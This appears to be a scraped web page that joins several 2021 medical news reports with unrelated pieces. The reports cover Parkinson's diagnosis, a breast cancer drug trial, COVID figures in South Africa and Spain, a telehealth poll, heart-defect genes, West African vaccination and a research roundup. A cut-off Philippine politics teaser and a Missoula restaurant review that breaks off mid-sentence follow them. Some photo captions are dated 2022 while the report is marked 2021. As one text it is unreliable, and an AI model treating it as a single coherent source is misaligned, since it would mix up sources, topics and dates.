Department of Clinical Neurosciences in University of Oxford, said: "The most exciting finding of the study is that the detected clumps of alpha-synuclein differed between different clinical Parkinson's subtypes and between people with Parkinson's and MSA. These differences could represent distinct "strain profiles" which could not only provide a way to distinguish between different neurodegenerative disorders (MSA versus Parkinson's) but also provide a way to distinguish variations within a single condition. How the "strain profiles" vary within Parkinson's and how they relate to clinical subtypes will need to be investigated further. "We now need to understand what the differences are in the clumping of alpha-synuclein between Parkinson's, dementia with Lewy bodies and MSA. By getting these answers, we will hopefully be able to create a blueprint for effective diagnosis and therapeutics for these conditions." 68-year-old Angela Wilson who does charitable work as a spiritual medium, lives in West Yorkshire with her husband and was misdiagnosed for several years before being told she had Parkinson's. "In 2008, I had two frozen shoulders. It began with the right shoulder where my Parkinson's affects my mobility the most. But at that time I didn't know I had the condition. It was misdiagnosed and was put down as a muscle strain. Eventually, it was diagnosed as a frozen shoulder. In late 2011, I began to notice a very obvious tremor in my right arm, my right leg dragging along and problems with sleeping and constipation. My tremor became more exaggerated when I was under stress. It was only in 2016, that I was finally diagnosed with Parkinson's by a neurologist who had previously said I didn't have the condition. "If I had been diagnosed from the very start, I would have been given medication, had a better quality of life and my symptoms would likely be less troublesome at this point. My experience with being misdiagnosed for several years was a really worrying time. I am lucky to have had my husband by my side along with supportive friends. It would be absolutely wonderful if there was a test that could detect Parkinson's easily and quickly." "Diagnostic value of cerebrospinal fluid alpha-synuclein seed quantification in synucleinopathies" is published the journal Brain. More information: Ilaria Poggiolini et al, Diagnostic value of cerebrospinal fluid alpha-synuclein seed quantification in synucleinopathies, Brain (2021). Journal information: Brain Ilaria Poggiolini et al, Diagnostic value of cerebrospinal fluid alpha-synuclein seed quantification in synucleinopathies,(2021). DOI: 10.1093/brain/awab431 Micrograph showing a lymph node invaded by ductal breast carcinoma, with extension of the tumour beyond the lymph node. Credit: Nephron/Wikipedia A drug used to treat cardiac failure has shown promising results in treating triple negative breast cancer, according to Houston Methodist researchers who released results this week on a new combined therapy with the potential to improve outcomes for these hard-to-treat breast cancer patients. A research team led by Jenny Chang, M.D., a breast medical oncologist and director of the Houston Methodist Dr. Mary and Ron Neal Cancer Center, found variants in a gene called RPL39 that work through a pathway called nitric oxide. Through the combination of chemotherapy and a nitric oxide synthase inhibitor called L-NMMA, which was developed at Houston Methodist, researchers were able to regress tumor growth of triple negative breast cancer and prevent the cancer from spreading. Historically, patients with cancers resistant to chemotherapy have about a 25-30% chance of responding when used with older drugs that target the immune system. The response rate using the Houston Methodist-discovered drug L-NMMA is about 50%. "This is an effective way of cutting short drug development and getting it into patients as quickly as possible," said Chang, who is corresponding author on a study appearing Dec. 15 in Science Translational Medicine. "This process has taken us less than five years and saved billions of dollars, giving us the opportunity to provide this new therapy faster for our patients." This research builds on previous work from Houston Methodist that identified a gene mutation driving the formation of the most aggressive type of triple negative breast cancer, as well as finding a compound that blocked it. "In addition to developing a novel anti-inflammatory regimen that can increase the efficacy of chemotherapy in treating triple negative breast cancer, we can also potentially predict which patient will respond to our novel treatment regimen, which will then allow non-responders to switch treatment options sooner." Next up, Chang and her colleagues are planning multi-national phase three trials globally to evaluate the efficacy of L-NMMA in more patients. If these trials are successful, then they will file for FDA approval of the drug. Houston Methodist also will seek an orphan indication from the FDA for metaplastic breast cancer, a rare and aggressive subtype of triple negative breast cancer. According to the Susan G. Komen Foundation, metaplastic breast cancers account for less than 1% of all breast cancers. The National Cancer Institute has awarded Houston Methodist a grant to take this into global phase three clinical trials, which will begin early in 2022. Explore further Accelerated discovery a triple threat to triple negative breast cancer More information: A phase 1/2 clinical trial of the nitric oxide synthase inhibitor L-NMMA and taxane for treating chemoresistant triple-negative breast cancer, Science Translational Medicine (2021). Journal information: Science Translational Medicine A phase 1/2 clinical trial of the nitric oxide synthase inhibitor L-NMMA and taxane for treating chemoresistant triple-negative breast cancer,(2021). DOI: 10.1126/scitranslmed.abj5070 Credit: CC0 Public Domain South Africa Wednesday reported its highest daily tally of new coronavirus cases since the start of the pandemic, just weeks after announcing the discovery of the Omicron strain. The tally of 26,976 COVID infections topped the previous record of 26,485 on July 3, at the height of the country's third wave caused by the Delta variant. The highly mutated Omicron strain was first detected in South Africa last month and sparked global panic over fears that it is more contagious than other variants. President Cyril Ramaphosa's office announced Monday that he had tested positive, even though he is fully vaccinated. Despite cases of Omicron being found in countries worldwide, it has not yet become fully clear if it causes more severe illness or if, or to what extent, it can evade vaccines. On the day of South Africa's previous record, 108 COVID deaths were reported. On Wednesday, 54 people died of the virus. Promising data so far has suggested that vaccines still offer protection against Omicron. South Africa's government has responded to the latest wave of infections by encouraging the nation to get their jabs. Last week, South Africa approved booster shots for all citizens over 18. So far, more than 17 million people have been vaccinated in South Africa, or around a third of the country's population. 2021 AFP Credit: Pixabay/CC0 Public Domain Individuals with chronic health conditions are more likely to also struggle with mental health, a problem that only intensified during the COVID-19 pandemic. Researchers from Canada and the UK have now uncovered the 'best practices' for addressing the needs of this population. The results of their study, a rapid review of articles examining mental health programs in 10 countriesincluding the US, Canada, Australia, UK, China, Ukraine, Italy, Germany, France and Spainidentified five key elements common to successful health interventions: social connectedness, resilience, accountability, trust, and power-sharing. "These mechanisms are interconnected, and crucial for the development of effective mental health interventions at all levels and will encourage positive relationships between stakeholders," says Ben Collins, Educational Specialist, Rady Faculty of Health Sciences, University of Manitoba. Not taking these mechanisms into account may lead to a greater risk of creating and implementing policies that produce less effective interventions for people at higher risk of COVID-19." The research team's rapid review examined publications in English and Chinese that reported on key elements of successful mental health interventions during the pandemic for those with chronic physical health conditions. A diverse range of programs were studied including telehealth interventions and the use of FaceTime with Alzheimer's patients. These were contrasted with literature from before the pandemic. "While public health measures are necessary to manage the spread of COVID-19, social-distancing can have negative impacts on mental health, particularly for those with chronic health conditions," says Lorna Stabler, research associate at Cardiff University and lead author of the review. "To maintain and promote mental health, social connectedness is essential. Although we all may have Zoom fatigue, for some, finding ways to stay in touch could be a key component of keeping our health on track through the pandemic." In the UK, additional funding to help health providers connect people with resources within their community was used to try to maintain these important social connections. Other strategies used by governments and health care providers included transitioning services online and funding new technology-facilitated interventions. For example, in China, funding was provided for mental health outreach teams in communities, 24/7 mental health hotlines and online platforms to manage mental health consultations and prescriptions. While governments must be resilient to enact quick changes, prior research has shown that decisions need to be made in partnership with policy-makers, health care professionals and individuals and their communities. The researchers found that unilateral decision-making risks exclusion and marginalisation of those suffering with chronic health conditions. "Organizational and service resilience are just as important as individual resilience," says Maura MacPhee, Professor of Nursing, University of British Columbia-Vancouver, Canada. Without organizational and service delivery adaptability during crises, individual resilience is not sufficient to carry the burden of a pandemic." The importance of the study's findings extends beyond the current pandemic. In particular, the need to share decision making power among those who deliver and those who access services is key to developing services and policies that meet the needs of the community. "The mental health and substance use health impacts of the COVID-19 pandemic are expected to be delayed, complex and long lasting. That is why we have been working with the Canadian Centre on Substance Use and Addiction (CCSA) to both track the relationship and explore the intersections between the two," says Brandon Hey, policy and research analyst for the Mental Health Commission of Canada. "Our rapid review underlines the importance of making those with chronic health conditions an integral part of how we think about and plan for mental health and substance use needs." The researchers argue that building accountability and shared responsibility for mental health policy at all levels is vital. "In the face of the challenges created by COVID-19 and the public health response, this study addressed the need to provide guidance for a comprehensive, multi-level, systems approach to interventions that promote mental health, particularly for vulnerable people living with physical and mental health comorbidities," says Simon Carroll, co-author and Adjunct Professor in the Department of Sociology at the University of Victoria. "Building back better means getting all levels of our health and social care systems in alignment, with accountability shared between stakeholders. Mental health should be a priority in health policy" "Our study provides important guidance for social workers, doctors, public health policy makers and other health professionals on how to devise effective interventions to mitigate the short-term and long-term mental health consequences of the pandemic" said co-author, Esme Fuller-Thomson, social work professor and director of the Institute for Life Course and Aging at the University of Toronto. "Professionals in these roles have important trusted relationships that are essential to engage the community in developing effective mental health policiesthese are the people who are working in this area every day." "We hope that these findings will act as lessons learned during the pandemic to help improve the effectiveness and robustness of mental health interventions in the future," says Stabler. "Mental health cannot be an afterthought." This rapid realist review was published online in the latest issue of the International Journal of Environmental Research and Public Health. Explore further Dearth of mental health support during pandemic for those with chronic health problems More information: Lorna Stabler et al, A Rapid Realist Review of Effective Mental Health Interventions for Individuals with Chronic Physical Health Conditions during the COVID-19 Pandemic Using a Systems-Level Mental Health Promotion Framework, International Journal of Environmental Research and Public Health (2021). Journal information: International Journal of Environmental Research and Public Health Lorna Stabler et al, A Rapid Realist Review of Effective Mental Health Interventions for Individuals with Chronic Physical Health Conditions during the COVID-19 Pandemic Using a Systems-Level Mental Health Promotion Framework,(2021). DOI: 10.3390/ijerph182312292 A young girl receives a vaccine as children are administered the first shot of the Pfizer COVID-19 vaccine at Hospital de Henares in Coslada, Madrid, Wednesday, Dec. 15, 2022. Starting from Wednesday, Spain is trying to begin a speedy vaccination rollout for around 3.3 million children aged 5-11, the group that is leading contagion rates in the country and largely believed to be spreading new infections to their parents and grandparents. Credit: AP Photo/Bernat Armangue Spanish health authorities are stepping up efforts to give out coronavirus vaccine shots before Christmas and end-of-the-year gatherings that usually bring large groups together. On Wednesday, the same day that the rollout of COVID-19 vaccines for 3.3 million children aged between 5 and 11 began across Spain and in other parts of the European Union, regional health authorities in Spain approved widening the scope of those eligible for a booster shot. After offering third doses to health workers, high-risk groups and those 60 and older during the past two months, Spain will start giving extra shots to people 50 and over, Health Minister Carolina Darias announced at a press conference late Wednesday. Earlier, during a visit to a school in central Spain where children and their families lined up for their first shots, Darias said vaccination should speed up ahead of the increase in "mobility and social interaction" around Christmas. "Today is a day charged with emotion," the minister told reporters. "I'm satisfied and encouraged to see so many parents with their children here." Spaniards have displayed a strong vaccination acceptance, leading to nearly 90% of residents aged 12 or older being fully vaccinated. A young girl watches as a boy receives a vaccine as children are administered the first shot of the Pfizer COVID-19 vaccine at Hospital de Henares in Coslada, Madrid, Wednesday, Dec. 15, 2022. Starting from Wednesday, Spain is trying to begin a speedy vaccination rollout for around 3.3 million children aged 5-11, the group that is leading contagion rates in the country and largely believed to be spreading new infections to their parents and grandparents. Credit: AP Photo/Bernat Armangue A nurse prepares to administer a shot of the Pfizer COVID-19 vaccine for children at the Hospital de Henares in Coslada, Madrid, Wednesday, Dec. 15, 2022. Starting from Wednesday, Spain is trying to begin a speedy vaccination rollout for around 3.3 million children aged 5-11, the group that is leading contagion rates in the country and largely believed to be spreading new infections to their parents and grandparents. Credit: AP Photo/Bernat Armangue But children under 11, who represent about 7% of the population, are now believed to be one of the groups spreading most infections. The contagion rate among them667 new cases per 100,000 children in two weeks is nearly 50% higher than the national average of 441 new cases. Their parents, many of them aged between 40 to 49, show the second-highest rate of infection, 550 new cases per 100,000 people in 14 days. On Wednesday, Spain reported 27,140 new daily infections, the highest number since the end of July, and 77 more COVID-19 deaths, although hospital admissions are growing at a slower pace than in previous virus surges. Spain has officially recorded 88,619 virus deaths since the beginning of the pandemic. Explore further Spain to start vaccinating children aged 5-11 next week 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Most adults think that having a prior relationship with a doctor and more flexibility in the type of technology they can use for telehealth would be helpful. Most older Americans have had to use telehealth during the COVID-19 pandemic and many were comfortable with it, but a new poll finds persistent concerns about issues like technology, the quality of care and patient privacy. Comfort levels with remote care can vary depending on factors like age, income level or race, according to the survey from The Associated Press-NORC Center for Public Affairs Research. Doctors, hospitals and other care providers had to cancel visits and surgeries and abruptly switch to remote care as the pandemic unfolded in early 2020. Many patients followed their doctors online and have continued to get care that way as coronavirus cases ebbed and flowed in subsequent waves. Telehealth involves patients and care providers connecting remotely through computers, tablets or phones. They often use video calls but also can trade emails or secure text messages. Sometimes both parties just talk on the phone without video. Since the pandemic started, 62% of adults age 50 and older have used some form of telehealth, the AP-NORC poll found. Patients most frequently used telehealth for consultations on medications, non-urgent health concerns, wellness checks or to continue with ongoing care to manage a chronic condition like diabetes. The ease of finding an appointment or meeting a specific provider and the chance to get an immediate response were the most common reasons respondents opted for telehealth. Roughly a third said each was a major factor and another third called them minor factors. A majority also cited avoiding COVID-19 exposure as a major or minor reason for seeking care through telehealth, with about a quarter calling it a major reason. Most nonwhite adults say they would use telehealth to avoid exposure to COVID-19, but many also have concerns about the quality of care. Rosa Bivens became a remote care convert during the pandemic partly because it helped her avoid the virus. The 59-year-old Bivens also likes how telehealth allows her to stay connected to her doctor in Maryland while she's on a temporary work assignment in Germany. Bivens is a military family life counselor, and she says her doctor back home understands the stress she faces in her job and how it affects her health. "That personal relationship is important to me," she said. The poll found that those who received care through telehealth were generally comfortable with it. Roughly 6 in 10 said they were at least somewhat likely to seek such remote care after the pandemic ends. But many concerns remain. Chief among them is worry about receiving care that is not as effective as an in-person visit. Roughly two-thirds of older adults said they were at least somewhat concerned with that. Many also have some worry about not having a personal relationship with a doctor, running into information security or technical problems and a lack of privacy. Judy Ostrom, for instance, didn't use remote care during the pandemic and has no plans to start. "You don't know who's walking in and out of the room where the doctor is," the 60-year-old resident of La Pine, Oregon, said. "I love my family, but sometimes you want your conversation with your doctor to be confidential." Adults age 50 and older are interested in telehealth for ease of scheduling, but have concerns about lower-quality care. Some concerns were more concentrated among adults age 65 and older. For example, those patients were more worried about not having a personal relationship with their doctor and not having the appropriate devices compared with people ages 50 to 64. Debra Nanez, 69, of Tucson, Arizona, said she sticks to audio-only telephone calls with her doctors when she does telehealth. The retired nurse worries about the security of any health information she'd have to enter into a website to do other forms of telehealth. She also doesn't have a reliable way to do a video call. "Sometimes my phone acts funny; it will work and then suddenly the phone will turn off," she said. "That's why I'll just do it telephonically. I have no problems with it." People making less than $50,000 are roughly three times as likely as those with higher incomes to feel that having a doctor provide the necessary devices for a telehealth visit would be "very" or "extremely" helpful. The poll also found that people with lower incomes are more likely to say it would be helpful if the doctor provided assistance in using the technology. Nonwhite respondents are especially likely to see telehealth as a way to avoid COVID-19 exposure. But they are also more concerned than white respondents about the security of their health information, both for telehealth and in-person care. The poll finds nonwhite older Americans are also especially concerned about meeting with a provider who does not understand their cultural preferences. Education about telehealth and a growing familiarity with the practice can help alleviate some of the lingering concerns patients have, according to Mei Kwong, executive director for the Center for Connected Health Policy. Medical director of Doctor on Demand Dr. Vibin Roy prepares to conduct an online visit with a patient from his work station at home, April 23, 2021, in Keller, Texas. Comfort levels with remote care can vary depending on factors like age, income level or race, according to the survey from The Associated Press-NORC Center for Public Affairs Research. Credit: AP Photo/LM Otero, File Kwong's California-based nonprofit researches and promotes the use of virtual technology in health care. She noted that once the pandemic started, the clinics and hospitals that were most successful in converting patients to remote care took the time to explain it and even do test runs before people made actual visits. But Kwong, who was not connected to the AP-NORC poll, noted that this sort of education wasn't widespread. "Prior to the pandemic, telehealth was very niche," she said. "Then when the pandemic hit, (patients) were just basically slapped in the face with it. "Nobody really explained what it was." ___ The AP-NORC poll of 1,000 adults age 50 and older was conducted between November 12-15 with funding from The SCAN Foundation. It used a sample drawn from NORC's probability-based Foresight 50+ Panel of adults age 50 and older, which is designed to represent the U.S. population. The margin of sampling error for all respondents is plus or minus 4.3 percentage points. Explore further The importance of telehealth for Medicare beneficiaries during the COVID-19 pandemic 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Credit: CC0 Public Domain One in every 100 babies is born with a congenital heart disease (CHD), and CHD is the major cause of death in newbornshowever the genetic cause of these developmental disorders is not fully understood, hindering the development of accurate pre-natal genetic testing. Now researchers from Monash University in Melbourne, Australia have developed a way to determine which genes are "in play" in causing these cardiac abnormalities. The technique not only confirmed well-known CHD genes, but also discovered 35 new genes not previously suspected in the disease. The research opens the way, in the future, for more accurate pre-natal genetic testing for congenital heart disease. The collaborative study, published in Genome Biology, and co-led by Associate Professor Mirana Ramialison from Monash University's Australian Regenerative Medicine Institute and the Murdoch Children's Research Institute, and Dr. Travis Johnson from Monash University's School of Biological Sciences, aimed to improve on the current conventional approach to identifying disease-causing genes "which focuses on screening genes that are present in heart only an approach that often overlooks genes that are present in other tissues as well, despite still playing important roles in heart development," Dr. Hieu Nim from Australian Regenerative Medicine Institute, the first author of the study said. "The trick was to mine genome databases to identify genes that were specifically "switched on" in the heart" added Dr. Nim. The resulting computational pipeline to identify not only genes specific for the heart but genes that may also be associated with other organs such as the liver or kidney "These could comprise many of the missing congenital heart disease genes, but have been, to date, discounted because they are not unique to the heart," Associate Professor Ramialison, said. The researchers then used the vinegar fly, Drosophila melanogaster, as a testing model to determine some of the functional impacts of these novel genes. Researchers use Drosophila because it is a well-established model organism to understand the genetic mechanisms of many human diseases. This is because: about 75% of human disease-causing genes are found in the fly in a similar form, it is easy to work with and breeds quickly, and many tools are available to manipulate any genes in it. According to Dr. Johnson, the vinegar-fly studies revealed "a long list of high-quality candidate genes for causing heart abnormalities in humans, giving real insight into just how susceptible this organ is to genetic mutations." Dr. Johnson cautioned that the identification of dozens of new CHD candidate genes is some time from providing more accurate pre-natal genetic testing for CHD. "We now need to conduct functional studies on all of these genes in animal experiments to determine what they actually do, so its early days, but we now have an excellent starting point." Explore further Genetic study of heart defects and autism finds new causative genes More information: Hieu T. Nim et al, A cis-regulatory-directed pipeline for the identification of genes involved in cardiac development and disease, Genome Biology (2021). Journal information: Genome Biology Hieu T. Nim et al, A cis-regulatory-directed pipeline for the identification of genes involved in cardiac development and disease,(2021). DOI: 10.1186/s13059-021-02539-0 Credit: Pixabay/CC0 Public Domain West African nations need to drastically ramp up their COVID-19 vaccination programmes by factor of 10 if they are to reach at least 60% coverage by 2022 and achieve the population level immunity needed to bring the pandemic under control in Africa and elsewhere, indicates an analysis published in the open access journal BMJ Global Health. In August 2020 the African Union Bureau of Heads of State and Government endorsed the COVID-19 Vaccine Development and Access Strategy to vaccinate at least 60% of each country's population with a safe and effective vaccine by 2022. But despite the recent sharing of surplus vaccines by wealthy countries, as of mid September 2021, just 3% of people in Africa had had at least one dose of a COVID-19 vaccine compared with around 60% of people in high income countries. Such glaring inequity risks the emergence of mutant strains that could undermine the effectiveness of the existing vaccines, warn the researchers. The relatively low numbers of confirmed COVID-19 cases and deaths in West Africa, compared with other parts of the continent, seems to have created a false sense of security, resulting in widespread vaccine hesitancy and low uptake of the COVID-19 jab, say the researchers. Limited storage and delivery capacity, insufficient staffing, and poor health infrastructure have also likely played their part in hindering more widespread uptake, they add. To forecast the likely levels of coverage by 2022 in the 15 countries that comprise the Economic Community of West Africa States (ECOWAS), the researchers analysed COVID-19 vaccine uptake 3 months after the start of vaccination roll-out, drawing on publicly available, country-level population estimates and vaccination data. ECOWAS comprises Benin, Burkina Faso, Cape Verde, Cote d'Ivoire, The Gambia, Ghana, Guinea, Guinea Bissau, Liberia, Mali, Niger, Nigeria, Senegal, Sierra Leone, and Togo. It accounts for 410 million people, or about 5% of the world's population. When the researchers looked at coverage after 3 months of the vaccination programme roll-out in the 15-member bloc, they found that only 0.27% of its total population had been double jabbed. On the basis of these trends, less than 1.6% of the total population across ECOWAS will have been fully (double) vaccinated after 18 months of the COVID-19 vaccination roll-out, estimate the researchers. And to achieve coverage of 50%, 60%, and 70% after 9, 12, and 18 months of roll-out, respectively, the pace of vaccination would need to increase by 10, 7, and 4 times the current speeds, they calculate. The researchers outline what might need to be done to tackle the existing vaccine hesitancy and shorten the time lag between vaccine arrival and deployment, so as to save lives, sooner rather than later. The time from arrival of the vaccines (February to May 2021) to deployment was as short as two days in Nigeria and Togo but as long as 25 and 27 days in Liberia and Sierra Leone, respectively. National governments and partners need to adopt culturally acceptable, community-led strategies to implement effective messaging that highlights the pros and cons of vaccination, and dispels the myths and misconceptions surrounding the jab, they suggest. "Given that public trust, confidence, and acceptance of vaccinations can be enhanced if clinical trials that demonstrate a vaccine's efficacy and safety are undertaken locally, the calls for the conduct of more clinical trials and local manufacturing of COVID-19 vaccines in the West African sub-region remain strident and critically germane," they add. This might also have other knock-on effects, they suggest. "Beyond the advantage of access to life-saving vaccines, there are potential secondary benefits of vaccine research and development and local manufacturing capacities, such as reduced or no cost of importation, less cold chain requirements and economic benefits to the host country. "Establishment of this platform would also be useful for research and development for other vaccines targeted at diseases of public health importance in the regionEbola, Lassa, cholera, meningococcal meningitis, and recently, Marburg." Explore further WHO: Vaccine hesitancy persists among Africa health workers More information: Tracking the uptake and trajectory of COVID-19 vaccination coverage in 15 West African countries: an interim analysis, BMJ Global Health (2021). Journal information: BMJ Global Health Tracking the uptake and trajectory of COVID-19 vaccination coverage in 15 West African countries: an interim analysis,(2021). DOI: 10.1136/bmjgh-2021-007518 Credit: Pixabay/CC0 Public Domain It was a good year for medical research of all kinds, as a team of researchers at Rush University Medical Center in Chicago wondered if a treatment for Alzheimer's has been sitting on pharmacy shelves for decades. They found that gemfibrosil, a cholesterol-lowering drug, and retinoic acid, a vitamin A derivative, were both effective at counteracting the damage done by Alzheimer's in animals. A team of researchers at the University of California Riverside found that cannabis use disorder may be linked to a growing number of heart attacks in younger adults. The disorder is defined as the continued use of cannabis despite it being clinical impairment. The researchers found higher than average numbers of heart attacks in young people hospitalized with the disorderand it was most pronounced in African Americans. Back in March, a group of researchers with the U.S. Centers for Disease Control and Prevention discovered why blood type may matter with COVID infections. They found the virus was particularly attracted to those with blood group A antigens in their respiratory cells. Unfortunately, they were not able to identify why. A team at Purdue University reported on their study of the link between vitamin D and inflammation. They found that vitamin D reduced lung inflammation incited by T cells during COVID-19 infections. More specifically, they found it sped up the transition of T cells from their pro-inflammatory phase to their anti-inflammatory phasea possible beneficial therapy for patients with severe inflammation in their lungs. A combined team from Kansai Medical University and Hiroshima University found that drugs that mimic the effects of cigarette smoke can, in some instances, reduce the ability of the SARS-CoV-2 virus to enter cells. Their finding helped to explain why there were lower numbers of smokers infected by the virus versus non-smokers despite the added risk of lung damage from smoking. Early in the year, Chinese researchers Weifeng Shi and George Gao suggested measures to prevent the spread of a new type of flu strain after seven farm workers in Russia were infected with a crossover flu variant. They suggest the H5N8 strain of the avian influenza virus has the potential of setting off another pandemicit was first reported in a duck in China in 2010. A combined team from Kyoto University and the University of Fukui found that an antibody for uterine sensitization associated gene-1, or USAG-1, could stimulate tooth growth in mice suffering from tooth agenesis, a congenital condition. Their findings indicate that similar antibodies in humans may be stimulated to regenerate lost teeth. A team with members affiliated with a host of institutions in the U.S. and one in Australia discovered a potential cause of Alzheimer's diseaserather than amyloid plaques, they found evidence that cells in the brain slow in their ability to clean themselvesa finding that suggests fasting, exercise and drug therapies may prevent its onset. Researchers at Sinai Health claimed to have found evidence that all cancers fall into just two categoriesthose in which a protein called the Yes-associated protein (YAP) is present and those in which it is not. They noted that the two groups differed in drug sensitivity or resistance and that YAP appeared to play a role in the formation of malignant tumors. A team at National Institute for Health Research Leicester Biomedical Research Centre studied data on 412,596 middle-aged people in the UK Biobank and found evidence showing that slow walkers were almost four times more likely to die from COVID-19 than the rest of the populationthey also found their risk of contracting a severe infection was double that of the rest of the population. A team at the La Jolla Institute for Immunology found that the Moderna COVID-19 vaccine spurred a lasting immune response. They report that low doses of the vaccine protected people for a minimum of six monthsand likely much longer. They even went so far as to suggest that people who have had the two initial Moderna vaccines do not need a booster. Also, a team of researchers at the Icahn School of Medicine at Mount Sinai found evidence that smart watches could detect COVID-19 symptoms before a person had become aware that they were infected. The watches monitored for sustained changes in heartbeat that occur during COVID-19 infection. University of Florida graduate student Brianna Costales, working with assistant professor Amie Goodin, found evidence that many psychiatric patients are getting the risky drug gabapentin "off-label." Normally prescribed for treating seizures and nerve pain, they found the drug is often prescribed for other uses such as psychiatric disorders like depression and anxiety. The problem is that mixing it with other drugs can be dangerous. Samuel Preston of the University of Pennsylvania and Yana Vierboom with the Max Planck Institute for Demographic Research found that the U.S. was suffering more excess deaths and more life years lost each year after 2017 than those associated with the COVID-19 pandemic in 2020. The increase in deaths, they note, has been due to higher mortality and lower survival rates for people who are sick or injureda sign of the U.S.'s declining healthcare system. A team at the University of Michigan last summer found that existing drugs can kill the SARS-CoV2 virus after infection of a human cell. They used AI-powered analysis to identify FDA-approved drugs with the potential of killing SARS-CoV-2 inside infected cells and found 17 contenders. A team of researchers led by Seth Berkowitz of University of North Carolina Health Care showed that adding SNAP benefits for older adults on Medicare and Medicaid could reduce hospital visits and healthcare costs. He noted that 5.2 million people over the age of 60 suffer from food insecurity, which can adversely impact health. And a team at the University of Virginia School of Medicine found the missing link in the human body's blood pressure control system. Scientists had been looking for the link for 60 yearsit turned out to be a mechanotransducer inside of kidney renin cells. The researchers found it by using a combination of lab models. Also, this past summer, a team with two members from the University of Technology Sydney and a third with the Ingham Institute for Applied Medical Research discovered a promising new treatment for COVID-19 infections. Kaneez Fatima Shad, Wissam Soubra and Dennis John Cordato found evidence that the seeds of the flowering plant Nigella sativa might prove useful for treating some COVID-19 patients. A study led by led by a team of researchers from the Medical Research Council Toxicology Unit at the University of Cambridge and the European Molecular Biology Laboratory in Germany found that common medications can accumulate in gut bacteria, possibly reducing their effectiveness. They found that certain types of bacteria prevent the drugs from being processed. Also, a team of researchers from the University of California, Irvine, in collaboration with the National Park Service's Redwood Creek Vegetation Team, found that a single molecule within a specific plant used by Native Americans could be used to treat both pain and diarrhea it activates the KCNQ2/3 potassium channel. The plant has been used for centuries by Native Americans to treat bites, bee stings, sores, burns and gastrointestinal distress. And a small group at Universite de Montreal led a study that found that the older a person is, the more antibodies they have for fighting the SARS-CoV-2 variants. They found that older people who received the Pfizer, BioNTech or AstraZeneca vaccines had much higher levels of antibodies than did people who were younger or who had been infected by the virus. They also found that the same antibodies were effective in repelling the delta variant. A team with members from the Public Health Institute, the Veterans Affairs Medical Center and the University of Texas Health Science Center compared the decline in effectiveness for the Moderna, Pfizer and Janssen vaccines and also the mortality consequences involved. They found that protection declined for all of the vaccines from an overall average protection percentage of 87.9 down to 48.1 after seven months. And a team at Beth Israel Deaconess Medical Center found that many people with high blood pressure may take a drug that worsens it. They report that 1 in 5 people with hypertension who take medications to lower their blood pressure also take other medication that could interfere with it, putting them a risk of a host of health problems. Finally, a pair of researchers at the Lund University Diabetes Centre in Sweden found that poor sleep quality and falling asleep later is associated with poor control of blood sugar after meals. Neli Tsereteli and Paul Franks found that longer sleep could be associated with lower blood glucose levels at night, following on the heels of higher levels in the morning due to a breakfast high in carbohydrates and fats. Shorter sleep, on the other hand, resulted from eating food with high glucose levels later in the day. 2021 Science X Network GROUPS OF parents and other anti-communist organizations condemned the acquittal of about 15 leaders of the Communist Party of the Philipp... If your path leads you to The Camino in downtown Missoula, youre in for an evening of remarkable and regionally-inspired Mexican cuisine. On a recent visit, owners Tad Hilton and Philip Schaefer shared with me how their restaurant came to life. Tad, originally from Florida, had worked in various bars and restaurants before he landed at Montgomery Distillery in Missoula. Philip, who hailed from Columbia, Missouri, had a similar background. He bartended in Chicago before heading west and finding his way to Montgomery Distillery. They struck up a friendship that included discussions about starting their own business. As Philip puts it, We were just two punks wondering if someday we could make this happen. On a sales trip to Chicago in 2014, the duo stopped at Big Star, a bourbon and beer-focused, taco-slinging hangout. It was the ambiance of this trending eatery that set the course for what would become The Camino. To say that Tad and Philip did their homework before ever opening the doors to their restaurant is an understatement. The first step was defining what they could contribute to the Missoula food scene that wasnt available, which led them to pursue Mexican cuisine. It would take five years from the start of their dream to open the doors of The Camino in November 2019. They spent a significant amount of time educating themselves on Mexican culture, food and drink. Several trips to Mexico found them working side-by-side with the locals learning the art of making tortillas, the backbone of all they serve. Then there was developing a business plan, finding the right location for their restaurant, building out the interior, and of course, getting lined up with investors and bankers. Today, The Camino sits in the heart of Missoulas vibrant downtown, adjacent to the new Residence Inn by Marriott on the corner of East Front and North Pattee Street. There are several appealing elements in the interior of the classy restaurant. One corner is set aside for the open kitchen, along with a counter for patrons to watch the culinary magic. The hand-crafted walnut back bar defines the area to sit and sip craft cocktails, wine, local brews on tap, or bottled beer from Mexico. South-facing floor-to-ceiling windows let in natural light that warms this intimate interior. My husband Ed and I had driven to Missoula for shopping and dinner at The Camino. We stopped in early for happy hour and sat at a long table, intended for sharing, in front of those windows. Warmed by the afternoon sun, it was the ideal spot for sipping on a cocktail, paired with fresh-made guacamole and chips. The Camino was slowly filling up on a Friday afternoon. We watched the staff make ready for the dinner crowd. There was a profusion of positive energy flowing between the two bartenders Tad busy prepping in the kitchen, Philip checking on all aspects of the Camino, and cheery servers setting the tables. It was infectious, calling for another round of drinks to finish out our happy hour. Tad and Philip gave me the lowdown on tortillas the traditional Mexican version. It all starts in the cornfields of Oaxaca, Puebla, and other Mexican states. These heirloom varietals of corn are soaked in a solution of water and calcium hydroxide (also known as slaked lime or cal), cooked, dried, then ground into a corn flour (masa) used to make the tortillas. This process is known as nixtamalization. The Camino follows this method for creating their tortillas, using corn imported from Masienda, a Mexican supplier that works directly with the farmers. Once nixtamalized, the masa is mixed with water to form a dough that goes through a roller machine to produce made-to-order tortillas meant to be eaten straight away. Knowing all this made me appreciate my choice of the al pastor taco, knowing its origins started on a Mexican farm. I chose this taco after seeing a juicy, succulent hunk of pork roasting on a spit with pineapple chunks dripping down onto the meat in Caminos kitchen. My husband Ed opted for the tostada de atun, which featured raw yellowfin tuna, Manzana chili aioli, spicy peanuts, pickled red onion, and avocado, served on a house-fried hard tostada shell. We shared the sizable arugula salad, a mix of salted chayote, radish, shaved white onion, avocado, and toasted pepitas, dressed with a guajillo-lime vinaigrette. The meal was scrumptious, full of flavors new to our palates. While desserts werent listed on the menu, our server suggested a handful of sweets at the end of dinner, including churros, to which I said, Well, why not? These deep-fried pastries, fresh-fried, were coated in a cinnamon-sugar mix and served with warm chocolate sauce and a dollop of whipped cream. The churros proved to be the perfect ending to our tasty Mexican meal! Many of their dishes are designed to be shared, such as ceviche (yellowfin), carne apache (beef tenderloin), tostada de cangrejo (craw crab), and posole roja (braised pork and hominy). The tacos arent your typical ground beef or chicken that you find in most Montana Mexican restaurants. Instead, you can opt for hongos (roasted mushrooms), cochinita pibil (citrus-braised pork), and carne asada 